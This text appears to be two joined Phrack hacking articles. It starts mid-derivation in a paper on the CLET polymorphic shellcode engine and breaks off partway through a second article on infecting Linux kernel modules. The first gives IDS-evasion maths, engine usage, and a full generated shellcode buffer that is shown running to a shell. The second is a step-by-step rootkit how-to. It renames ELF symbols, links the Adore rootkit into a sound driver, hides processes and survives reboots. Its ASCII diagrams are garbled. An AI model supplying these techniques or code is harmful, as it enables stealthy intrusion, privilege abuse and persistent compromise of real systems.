Ntotal ‑ ( q(\x00)+ q(\x01) + ...... + q(\xFF) )*Ntotal/b

So we have:

n(TT) ‑ q(TT)*Ntotal/b

E[Xt]=q(TT)+b2*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ntotal ‑ (q(\x00)+ q(\x01) + ...... + q(\xFF))*Ntotal/b

We simplify by Ntotal:

(b2*n(TT))/Ntotal ‑ q(TT)*b2/b

E[Xt]=q(TT) + ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ (q(\x00)+ q(\x01) + ...... + q(\xFF))/b

Ok, when b ‑‑‑‑‑> +oo, we have:

b2~b (b=b1+b2 and b1 is a constant)

Obviously q(\x00)=o(b); q(\x01)=o(b);.....

thus (q(\x00)+ q(\x01) + ...... + q(\xFF))/b = o(1) and:

1 ‑ (q(\x00)+ q(\x01) + ...... + q(\xFF))/b ‑‑‑‑‑‑‑> 1

so E[Xt] = q(TT) + b*(n(TT)/Ntotal) ‑ q(TT) + o(b)

Moreover we have p(n)=n(TT)/Ntotal so

E[Xt] = b*p(n) + o(b)

so E[Xt] ~ b*p(n) we got it!

We can notice that we got this relation with the first simple method. We can so think that this second method is not better. It is wrong because remember that this relation doesn't show that a method is good or not, it just shows if a method is fair or not! This second method takes beginning into account, so it is better that the simple one. However before demonstration we can't know if this method was fair. We just knew that if it was fair, it will better than the simple one. Now we know that it is fair. That's why CLET uses it.

‑‑‑‑‑‑[ 5.3.2 ‑ Generating shellcode zone using spectrum analysis.

There is a very simple idea: generating several decipher routines and using the best one. But how choose the best one?

Remember we want to generate a shellcode which will be considered as normal. So we could think that the best decipher routine is the one which allows to generate a shellcode which spectrum is close to trafic spectrum. However it's important to understand that this kind of approach has its limits. Indeed, imagine following cases:

We have an IDS which data mining methods is very simple, if it finds a byte \xFF in a packet, it generate an alert and discard it. We have the following spectrum file:

0 0

1 0

.....

41 15678

42 23445

....

The shellcode we generate will have many \x41 and \x42, but imagine it has a \xFF in the ciphered shellcode. Our packet will be discarded. However if we have done a packet without spectrum file and without a \xFF byte, this packet would have been accepted. We think that the more the shellcode will have a spectrum close to trafic spectrum, the more the packet have probability to be accepted. However, it can exist exception as we see in the example (we can notice that in example the rule was very clear, but rules generated by data mining method are less simple). The main question is thus: how defining a good polymorph shellcode?

Against data mining method there is a simple idea, we have to define a measure which let us to measure a value of a shellcode. How finding this measure? For the moment we work on a measure which favours shellcode which spectrum is close to trafic spectrum by giving a heavy value of bytes which don't appear in trafic. However, this method is not implemented in version 1.0.0 because today IDS with data‑mining methods are not very developped (there is SNORT) and so it is difficult to see what kind of caracteristics will be detected (size of packet, spectrum of packet, ...) and it is so difficult to define a good measure.

‑‑‑‑‑‑[ 5.3.3 ‑ Generating fakenop zone using spectrum analysis.

In this part, we don't perform to modify the code following the spectrum analysis due to difficulties of such an implementation. We just are trying to generate random code with the my_random function which gives a uniform probability to generate number between min and max... :( We still could think about a function which would give a weight for each instruction following the results of a spectrum analysis, and we could generate fake‑nop with a random function whose density function corresponds to the density of probability given by the former function... The problem with this method is that the set of instructions is smaller than the set of all the hexa codes that contains the network traffic. Such a finding automaticaly dodges the issues of our method, and all we can do is to minimalise the difference of spectrum between our code and a normal network traffic and try to compensate with other parts of the shellcode we better control (like the craming bytes)...

‑‑‑‑[ 5.4 ‑ Conclusion about anti data‑mining methods.

Spectrum Analysis an approach, it's not the only one. We are aware too that, with methods like neural method exposed upper, it is possible to generate a filter against CLET polymorphic shellcodes, if you use our engine as a benchmark to involve your neural system. That's a interessant way of using! Maybe it is interessant too to think about genetic methods in order to find the best approach (cf [5]). However, today data‑mining begins and so it's difficult to find the best approach...

‑‑[ 6 ‑ The CLET Polymorphic Shellcode Engine

‑‑‑‑[ 6.1 ‑ Principles

We decided to make a different routine at each time, randomly. We first generate a XOR (with a random key) at a random place, and then we generate reversible instructions (as many as you want) : ADD/SUB, ROL/ROR. We don't generate it in assembly but in a pseudo‑assembly language, it is easier to manipulate pseudo‑assembly language at this point of the program because we have to make two things at the same time : cipher the shellcode and generate the decipher routine.

Let's see how it works :

|

|

|

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+

| pseudo‑code of |

| the decipher |<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | routine | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| |

traduction interpretation |

| +

| cipher |

| |

| |

| | YES

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑+

| decipher | | ciphered | | | | routine | | shellcode +‑‑‑‑‑>| zeroes? |

| | | |

+‑‑‑‑‑‑+‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑+

|

| NO

|

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

| polymorphed |

| shellcode |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

Of course, when a cipher routine has been generated, we test it to see if a zero appear in the ciphered code (we also take care of not having zeroes in the keys. If it is the case, we replace it by a 0x01). If it is the case, a new cipher routine is generated. If it is good, we generate the decipher routine. We don't insert fake instructions among the true instructions of the decipher routine, it could improve the generator.

The main frame of our routine is rather the same (this is maybe a weakness) but we use three registers. But we take care of using different registers at each time, ie those three registers are chosen at random (cf 4.2)

‑‑‑‑[ 6.2 ‑ Using CLET polymorphic engine

theo@warmach$ ./clet ‑h

________________________________________

The CLET shellcode mutation engine

by CLET TEAM:

Theo Detristan, Tyll Ulenspiegel,

Mynheer Superbus Von Underduk, Yann Malcom

________________________________________

Don't use it to enter systems, use it to understand systems.

Version 1.0.0

Syntax :

./clet

‑n nnop : generate nnop NOP.

‑a : use american english dictonnary to generate NOP. ‑c : print C form of the buffer.

‑i nint : decryption routine has nint instructions (default is 5) ‑f file : spectrum file used to polymorph.

‑b ncra : generate ncra cramming bytes using spectrum or not ‑B : cramming bytes zone is adapted to beginning ‑t : number of bytes generated is a multiple of 4 ‑x XXXX : XXXX is the address for the address zone FE011EC9 for instance

‑z nadd : generate address zone of nadd*4 bytes ‑e : execute shellcode.

‑d : dump shellcode to stdout.

‑s : spectrum analysis.

‑S file : load shellcode from file.

‑E [1‑3]: load an embeded shellcode.

‑h : display this message.

/* Size options:

In bytes:

‑n nnop ‑b ncra ‑z nadd/4

<‑‑‑‑‑‑‑‑>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑t allows that:

Size_of_fake_nop_zone + Size_decipher + Size_decipher + Size_cramming is a multiple of 4. This option allows to alignate return adresses.

‑i is the number of fake instructions (cf 6.1) in the decipher routine.

/* Anti‑data mining options:

‑f you give here a spectrum file which shows trafic spectrum (cf 5.3) If you don't give a file, probabilities of bytes are the same.

‑B the option ‑b generates a cramming bytes zone. If the option is used without ‑B, process of generation doesn't take care of the fakenop zone, ciphered shellcode, etc... Indeed if ‑b is used with ‑B then cramming bytes zone tries to correct spectrum 'errors' due to the begininning.

/* Shellcode

‑E allows you to choose one of our shellcode.

1 is a classic bash (packetstorm).

2 is aleph one shellcode.

3 is a w00w00 code which add a root line in /etc/passwd (don't use it with ‑e in root)

‑S allows us to give your shellcode. It's important because our shellcodes are not remote shellcode! You give a file and its bytes will be the shellcode. If you just have a shellcode in Cformat you can use convert.

‑e execute the encrypted shellcode, you see your polymorphic shellcode runs.

/* See the generated shellcode.

‑c writes the shellcode in C format.

‑d dump it on stderr.

/* Example

theo@warmach$ ./clet ‑e ‑E 2 ‑b 50 ‑t ‑B ‑c ‑f ../spectrum/stat2 ‑a ‑n 123 ‑a ‑x AABBCCEE ‑z 15 ‑i 8

[+] Generating decryption loop :

ADD 4EC0CB5C

ROR 19

SUB 466D336C // option ‑i

XOR A535C6B4 // we've got 8 instructions.

ROR D

ROR 6

SUB 51289E19

SUB DAD72129

done

[+] Generating 123 bytes of Alpha NOP :

NOP : SUPREMELYCRUTCHESCATARACTINSTRUMENTATIONLOVABLYPERILLABARB SPANISHIZESBEGANAMBIDEXTROUSLYPHOSPHORSAVEDZEALOUSCONVINCEDFIXERS done

// 123 bytes, it's the ‑n 123 option. ‑a means alphanumeric nops.

[+] Choosing used regs :

work_reg : %edx

left_reg : %ebx // regs randomly chosen for decipher routine.

addr_reg : %ecx

done

[+] Generating decryption header :

done

[+] Crypting shellcode :

done

[+] Generating 50 cramming bytes // ‑b 50 bytes of cramming bytes

[+] Using ../spectrum/stat2 // ‑f ../spectrum/stat2: bytes

[+] Adapting to beginning // depends on spectrum file.

done // ‑B options: Adapting to beginning

// cf 5.3.1

[+] Generating 1 adding cramming bytes to equalize // ‑t option

[+] Using ../spectrum/stat2 // we can now add adresses of 4 bytes

done

[+] Assembling buffer :

buffer length : 348

done

// This all the polymorph shellcode in C format (option ‑c)

Assembled version :

\x53\x55\x50\x52

\x45\x4D\x45\x4C

\x59\x43\x52\x55

\x54\x43\x48\x45

\x53\x43\x41\x54

\x41\x52\x41\x43

\x54\x49\x4E\x53

\x54\x52\x55\x4D

\x45\x4E\x54\x41

\x54\x49\x4F\x4E

\x4C\x4F\x56\x41

\x42\x4C\x59\x50

\x45\x52\x49\x4C

\x4C\x41\x42\x41

\x52\x42\x53\x50

\x41\x4E\x49\x53

\x48\x49\x5A\x45

\x53\x42\x45\x47

\x41\x4E\x41\x4D

\x42\x49\x44\x45

\x58\x54\x52\x4F

\x55\x53\x4C\x59

\x50\x48\x4F\x53

\x50\x48\x4F\x52

\x53\x41\x56\x45

\x44\x5A\x45\x41

\x4C\x4F\x55\x53

\x43\x4F\x4E\x56

\x49\x4E\x43\x45

\x44\x46\x49\x58

\x45\x52\x53\xEB

\x3B\x59\x31\xDB

\xB3\x30\x8B\x11

\x81\xC2\x5C\xCB

\xC0\x4E\xC1\xCA

\x19\x81\xEA\x6C

\x33\x6D\x46\x81

\xF2\xB4\xC6\x35

\xA5\xC1\xCA\x0D

\xC1\xCA\x06\x81

\xEA\x19\x9E\x28

\x51\x81\xEA\x29

\x21\xD7\xDA\x89

\x11\x41\x41\x41

\x41\x80\xEB\x04

\x74\x07\xEB\xCA

\xE8\xC0\xFF\xFF

\xFF\xE3\xBF\x84

\x3E\x59\xF4\xFD

\xEE\xE7\xCF\xE2

\xA2\x02\xF8\xBE

\x1D\x30\xEB\x32

\x3C\x12\xD7\x5A

\x95\x09\xAB\x16

\x07\x24\xE3\x02

\xEA\x3B\x58\x02

\x2D\x7A\x82\x8A

\x1C\x8A\xE1\x5C

\x23\x4F\xCF\x7C

\xF5\x41\x41\x43

\x42\x43\x0A\x43

\x43\x43\x41\x41

\x42\x43\x43\x43

\x43\x43\x43\x42

\x43\x43\x43\x43

\x43\x0D\x0D\x43

\x43\x43\x43\x43

\x41\x42\x43\x43

\x43\x41\x43\x42

\x42\x43\x43\x42

\x0D\x41\x43\x41

\x42\x41\x43\x43 // ‑t option: it is equalized.

\xAA\xBB\xCC\xEE // ‑z 15 option: 15*sizeof(adress) zone

\xAA\xBB\xCC\xEE // ‑x AABBCCEE option gives the adress

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

\xAA\xBB\xCC\xEE

Executing buffer : ... // ‑e option we test our polymorph shellcode

sh‑2.05a$ // ‑E 2 we've chosen Aleph One shellcode

// That's it.

‑‑[ 7 ‑ References

[1] http://www.phrack.org/p49‑14

Smashing The Stack For Fun And Profit, Aleph One

[2] http://www.phrack.org/p57‑0x0f

Writing ia32 alphanumeric shellcodes, rix

[3] IA‑32 Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference http://www.intel.com/design/pentium4/manuals/

get it free ! http://www.intel.com/design/pentium4/manuals/index2.htm

[4] Billy Belcebu Virus Writing Guide

especially the chapter on polymorphism http://vx.netlux.org/lib/static/vdat/tumisc60.htm

[5] Du virus a l'antivirus, Mark Ludwig

especially the chapter on polymorphism

[6] Neural Computing: an introduction.

R. Beale, T. Jackson

[7] Calcul des probabilites

Dominique Foata, Aime Fuchs

Dunod edition

‑‑[ Greetz

We would like to thank :

‑ all those who were at the RtC.Party'03, in particular ptah, eldre8, kad and spacewalker.

‑ #kaori@irc.freenode.net guys

‑ basque && bedian for moral support

begin 644 clet M'XL(`'9N.3\``^S];8\T.7:F">IS_HH'LVC,#+#=G2G5RPK"?C!W8[A;AKF9 end

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Infecting Loadable Kernel Modules

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Infecting loadable kernel modules ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ truff <truff@projet7.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ ELF basis

2.1 ‑ The .symtab section

2.2 ‑ The .strtab section

3 ‑ Playing with loadable kernel modules

3.1 ‑ Module loading

3.2 ‑ .strtab modification

3.3 ‑ Code injection

3.4 ‑ Keeping stealth

4 ‑ Real life example

4.1 ‑ Lkm infecting mini‑howto

4.2 ‑ I will survive (a reboot)

5 ‑ What about other systems ?

5.1 ‑ Solaris

5.2 ‑ *BSD

5.2.1 ‑ FreeBSD

5.2.2 ‑ NetBSD

5.2.3 ‑ OpenBSD

6 ‑ Conclusion

7 ‑ Greetings

8 ‑ References

9 ‑ Code

9.1 ‑ ElfStrChange

9.2 ‑ Lkminject

‑‑[ 1 ‑ Introduction

Since a few years we have seen a lot of rootkits using loadable kernel modules. Is this a fashion ? not really, lkm's are widely used because they are powerfull: you can hide files, processes and do other nice things. The first rootkits using lkm's could be easily detected because they where listed when issuing a lsmod. We have seen lots of techniques to hide modules, like the one used in Plaguez's paper [1] or the more tricky used in the Adore Rootkit [2]. A few years later we have seen other techniques based on the modification of the kernel memory image using /dev/kmem [3]. Finally, a technique of static kernel patching was presented to us in [4]. This one solves an important problem: the rootkit will be reloaded after a reboot.

The goal of this paper is to describe a new technique used to hide lkm's and to ensure us that they will be reloaded after a reboot. We are going to see how to do this by infecting a kernel module used by the system. We will focus on Linux kernel x86 2.4.x series but this technique can be applied to other operating systems that use the ELF format. Some knowledge is necessary to understand this technique. Kernel modules are ELF object files, we will thus study the ELF format focusing on some particular parts related to the symbol naming in an ELF object file. After that, we will study the mechanisms wich are used to load a module to give us some knowledge on the technique which will permit to inject code into a kernel module. Finally, we will see how we can inject a module into another one in real life.

‑‑[ 2 ‑ ELF Basis

The Executable and Linking Format (ELF) is the executable file format used on the Linux operating system. We are going to have a look at the part of this format which interests us and which will be useful later (Read [1] to have a full description of the ELF format). When linking two ELF objects the linker needs to know some data refering to the symbols contained in each object. Each ELF object (lkm's for example) contains two sections whose role is to store structures of information describing each symbol. We are going to study them and to extract some usefull ideas for the infection of a kernel module.

‑‑‑‑[ 2.1 ‑ The .symtab section

This section is a tab of structures that contains data requiered by the linker to use symbols contained in a ELF object file. This structure is defined in the file /usr/include/elf.h:

/* Symbol table entry. */

typedef struct

{

Elf32_Wordst_name;/* Symbol name (string tbl index) */

Elf32_Addrst_value;/* Symbol value */

Elf32_Wordst_size;/* Symbol size */

unsigned charst_info;/* Symbol type and binding */

unsigned charst_other;/* Symbol visibility */

Elf32_Sectionst_shndx;/* Section index */

} Elf32_Sym;

The only field which will interest us later is st_name. This field is an index of the .strtab section where the name of the symbol is stored.

‑‑‑‑[ 2.2 ‑ The .strtab section

The .strtab section is a tab of null terminated strings. As we saw above, the st_name field of the Elf32_Sym structure is an index in the .strtab section, we can thus easily obtain the offset of the string which contains the name of the symbol by the following formula:

offset_sym_name = offset_strtab + st_name

offset_strtab is the offset of the .strtab section from the beginning of the file. It is obtained by the section name resolution mechanism which I will not describe here because it does not bring any interest to the covered subject. This mechanism is fully described in [5] and implemented in the code (paragraph 9.1).

We can then deduce that the name of a symbol in a ELF object can be easily accessed and thus easily modified. However a rule must be complied with to carry out a modification. We saw that the .strtab section is a succession of null terminated strings, this implies a restriction on the new name of a symbol after a modification: the length of the new name of the symbol will have to be lower or equal to that of the original name overwise it will overflow the name of the next symbol in the .strtab section.

We will see thereafter that the simple modification of a symbol's name will lead us to the modification of the normal operation of a kernel module and finally to the infection of a module by another one.

‑‑[ 3 ‑ Playing with loadable kernel modules

The purpose of the next section is to show the code which dynamically loads a module. With this concepts in mind, we will be able to foresee the technique which will lead us to inject code into the module.

‑‑‑‑[ 3.1 ‑ Module Loading

Kernel modules are loaded with the userland utility insmod which is part of the modutils[6] package. The interesting stuff is located in the init_module() functions of the insmod.c file.

static int init_module(const char *m_name, struct obj_file *f, unsigned long m_size, const char *blob_name, unsigned int noload, unsigned int flag_load_map)

{

(1) struct module *module;

struct obj_section *sec;

void *image;

int ret = 0;

tgt_long m_addr;

....

(2) module‑>init = obj_symbol_final_value(f, obj_find_symbol(f, "init_module"));

(3) module‑>cleanup = obj_symbol_final_value(f, obj_find_symbol(f, "cleanup_module"));

....

if (ret == 0 && !noload) { fflush(stdout); /* Flush any debugging output */

(4) ret = sys_init_module(m_name, (struct module *) image); if (ret) { error("init_module: %m"); lprintf(

"Hint: insmod errors can be caused by incorrect module parameters, " "including invalid IO or IRQ parameters.\n"

"You may find more information in syslog or the output from dmesg"); }

}

This function is used (1) to fill a struct module which contains the necessary data to load the module. The interestings fields are init_module and cleanup_module which are functions pointers pointing respectively to the init_module() and cleanup_module() of the module being loaded. The obj_find_symbol() function (2) extracts a struct symbol by traversing the symbol table and looking for the one whose name is init_module. This struct is passed to the obj_symbol_final_value() which extracts the address of the init_module function from the struct symbol. The same operation is then carried out (3) for the function cleanup_module(). It is necessary to keep in mind that the functions which will be called when initializing and terminating the module are those whose entry in the .strtab section corresponds respectively to init_module and cleanup_module.

When the struct module is completely filled in (4) the sys_init_module() syscall is called to let the kernel load the module.

Here is the interesting part of the sys_init_module() syscall wich is called during module loading. This function's code is located in the /usr/src/linux/kernel/module.c file:

asmlinkage long

sys_init_module(const char *name_user, struct module *mod_user) {

struct module mod_tmp, *mod;

char *name, *n_name, *name_tmp = NULL;

long namelen, n_namelen, i, error;

unsigned long mod_user_size;

struct module_ref *dep;

/* Lots of sanity checks */

.....

/* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1) if (copy_from_user((char *)mod+mod_user_size, (char *)mod_user+mod_user_size, mod‑>size‑mod_user_size)) { error = ‑EFAULT;

goto err3;

}

/* Other sanity checks */

....

/* Initialize the module. */

atomic_set(&mod‑>uc.usecount,1);

mod‑>flags |= MOD_INITIALIZING;

(2) if (mod‑>init && (error = mod‑>init()) != 0) { atomic_set(&mod‑>uc.usecount,0); mod‑>flags &= ~MOD_INITIALIZING; if (error > 0) /* Buggy module */

error = ‑EBUSY;

goto err0;

}

atomic_dec(&mod‑>uc.usecount);

After a few sanity checks, the struct module is copied from userland to kernelland by calling (1) copy_from_user(). Then (2) the init_module() function of the module being loaded is called using the mod‑>init() funtion pointer wich has been filled by the insmod utility.

‑‑‑‑[ 3.2 ‑ .strtab modification

We have seen that the address of the module's init function is located using a string in the .strtab section. The modification of this string will allow us to execute another function than init_module() when the module is loaded.

There are a few ways to modify an entry of the .strtab section. The ‑wrap option of ld can be used to do it but this option isn't compatible with the ‑r option that we will need later (paragraph 3.3). We will see in paragraph 5.1 how to use xxd to do the work. I have coded a tool (paragraph 9.1) to automate this task.

Here's a short example:

$ cat test.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int init_module(void)

{

printk ("<1> Into init_module()\n");

return 0;

}

int evil_module(void)

{

printk ("<1> Into evil_module()\n");

return 0;

}

int cleanup_module(void)

{

printk ("<1> Into cleanup_module()\n");

return 0;

}

$ cc ‑O2 ‑c test.c

Let's have a look at the .symtab and .strtab sections:

$ objdump ‑t test.o

test.o: file format elf32‑i386

SYMBOL TABLE:

0000000000000000 l df *ABS* 0000000000000000 test.c 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 g F .text 0000000000000014 init_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000014 g F .text 0000000000000014 evil_module 0000000000000028 g F .text 0000000000000014 cleanup_module

We are now going to modify 2 entries of the .strtab section to make the evil_module symbol's name become init_module. First we must rename the init_module symbol because 2 symbols of the same nature can't have the same name in the same ELF object. The following operations are carried out:

rename

1) init_module ‑‑‑‑> dumm_module

2) evil_module ‑‑‑‑> init_module

$ ./elfstrchange test.o init_module dumm_module

[+] Symbol init_module located at 0x3dc

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module

[+] Symbol evil_module located at 0x3ef

[+] .strtab entry overwriten with init_module

$ objdump ‑t test.o

test.o: file format elf32‑i386

SYMBOL TABLE:

0000000000000000 l df *ABS* 0000000000000000 test.c 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 g F .text 0000000000000014 dumm_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000014 g F .text 0000000000000014 init_module 0000000000000028 g F .text 0000000000000014 cleanup_module

# insmod test.o

# tail ‑n 1 /var/log/kernel

May 4 22:46:55 accelerator kernel: Into evil_module()

As we can see, the evil_module() function has been called instead of init_module().

‑‑‑‑[ 3.3 ‑ Code injection

The preceding tech makes it possible to execute a function instead of another one, however this is not very interesting. It will be much better to inject external code into the module. This can be *easily* done by using the wonderfull linker: ld.

$ cat original.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int init_module(void)

{

printk ("<1> Into init_module()\n");

return 0;

}

int cleanup_module(void)

{

printk ("<1> Into cleanup_module()\n");

return 0;

}

$ cat inject.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int inje_module (void)

{

printk ("<1> Injected\n");

return 0;

}

$ cc ‑O2 ‑c original.c

$ cc ‑O2 ‑c inject.c

Here starts the important part. The injection of the code is not a problem because kernel modules are relocatable ELF object files. This type of objects can be linked together to share symbols and complete each other. However a rule must be complied: the same symbol can't exist in several modules which are linked together. We use ld with the ‑r option to make a partial link wich creates an object of the same nature as the objects wich are linked. This will create a module which can be loaded by the kernel.

$ ld ‑r original.o inject.o ‑o evil.o

$ mv evil.o original.o

$ objdump ‑t original.o

original.o: file format elf32‑i386

SYMBOL TABLE:

0000000000000000 l d .text 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l df *ABS* 0000000000000000 original.c 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l df *ABS* 0000000000000000 inject.c 0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000014 g F .text 0000000000000014 cleanup_module 0000000000000000 g F .text 0000000000000014 init_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000028 g F .text 0000000000000014 inje_module

The inje_module() function has been linked into the module. Now we are going to modify the .strtab section to make inje_module() be called instead of init_module().

$ ./elfstrchange original.o init_module dumm_module

[+] Symbol init_module located at 0x4a8

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module

[+] Symbol inje_module located at 0x4bb

[+] .strtab entry overwriten with init_module

Let's fire it up:

# insmod original.o

# tail ‑n 1 /var/log/kernel

May 14 20:37:02 accelerator kernel: Injected

And the magic occurs :)

‑‑‑‑[ 3.4 ‑ Keeping stealth

Most of the time, we will infect a module which is in use. If we replace the init_module() function with another one, the module loses its original purpose for our profit. However, if the infected module does not work properly it can be easily detected. But there is a solution that permits to inject code into a module without modifying its regular behaviour. After the .strtab hack, the real init_module() function is named dumm_module. If we put a call to dumm_module() into our evil_module() function, the real init_module() function will be called at initialization and the module will keep its regular behaviour.

replace

init_module ‑‑‑‑‑‑> dumm_module

inje_module ‑‑‑‑‑‑> init_module (will call dumm_module)

$ cat stealth.c

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

int inje_module (void)

{

dumm_module ();

printk ("<1> Injected\n");

return 0;

}

$ cc ‑O2 ‑c stealth.c

$ ld ‑r original.o stealth.o ‑o evil.o

$ mv evil.o original.o

$ ./elfstrchange original.o init_module dumm_module

[+] Symbol init_module located at 0x4c9

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module

[+] Symbol inje_module located at 0x4e8

[+] .strtab entry overwriten with init_module

# insmod original.o

# tail ‑n 2 /var/log/kernel

May 17 14:57:31 accelerator kernel: Into init_module()

May 17 14:57:31 accelerator kernel: Injected

Perfect, the injected code is executed after the regular code so that the modification is stealth.

‑‑[ 4 ‑ Real life example

The method used to modify init_module() in the preceding parts can be applied without any problem to the cleanup_module() function. Thus, we can plan to inject a complete module into another one. I've injected the well known Adore[2] rootkit into my sound driver (i810_audio.o) with a rather simple handling.

‑‑‑‑[ 4.1 ‑ Lkm infecting mini‑howto

1) We have to slightly modify adore.c

* Insert a call to dumm_module() in the init_module() function's code * Insert a call to dummcle_module() in the cleanup_module() module function's code

* Replace the init_module function's name with evil_module * Replace the cleanup_module function's name with evclean_module

2) Compile adore using make

3) Link adore.o with i810_audio.o

ld ‑r i810_audio.o adore.o ‑o evil.o

If the module is already loaded, you have to remove it: rmmod i810_audio

mv evil.o i810_audio.o

4) Modify the .strtab section

replace

init_module ‑‑‑‑‑‑> dumm_module

evil_module ‑‑‑‑‑‑> init_module (will call dumm_module)

cleanup_module ‑‑‑‑‑‑> evclean_module

evclean_module ‑‑‑‑‑‑> cleanup_module (will call evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module

[+] Symbol init_module located at 0xa2db

[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module

[+] Symbol evil_module located at 0xa4d1

[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module

[+] Symbol cleanup_module located at 0xa169

[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module

[+] Symbol evclean_module located at 0xa421

[+] .strtab entry overwriten with cleanup_module

5) Load and test the module

# insmod i810_audio

# ./ava

Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

h hide file

u unhide file

r execute as root

R remove PID forever

U uninstall adore

i make PID invisible

v make PID visible

# ps

PID TTY TIME CMD

2004 pts/3 00:00:00 bash

2083 pts/3 00:00:00 ps

# ./ava i 2004

Checking for adore 0.12 or higher ...

Adore 0.53 installed. Good luck.

Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps

PID TTY TIME CMD

#

Beautifull :) I've coded a little shell script (paragraph 9.2) which does some part of the work for lazy people.

‑‑‑‑[ 4.2 ‑ I will survive (a reboot)

When the module is loaded, we have two options that have pros and cons:

* Replace the real module located in /lib/modules/ by our infected one. This will ensure us that our backdoor code will be reloaded after a reboot. But, if we do that we can be detected by a HIDS (Host Intrusion Detection System) like Tripwire [7]. However, a kernel module is not an executable nor a suid file, so it won't be detected unless the HIDS is configured to be paranoid.

* Let the real kernel module unchanged in /lib/modules and delete our infected module. Our module will be removed when rebooting, but it won't be detected by a HIDS that looks for changed files.

‑‑[ 5 ‑ What about other systems ?

‑‑‑‑[ 5.1 ‑ Solaris

I've used a basic kernel module from [8] to illustrate this example. Solaris kernel modules use 3 principal functions:

‑ _init will be called at module initialisation

‑ _fini will be called at module cleanup

‑ _info prints info about the module when issuing a modinfo

$ uname ‑srp

SunOS 5.7 sparc

$ cat mod.c

#include <sys/ddi.h>

#include <sys/sunddi.h>

#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {

&mod_miscops,

"Real Loadable Kernel Module",

};

static struct modlinkage modlinkage = {

MODREV_1,

(void *)&modlmisc,

NULL

};

int _init(void)

{

int i;

if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE,"Could not install module\n"); else
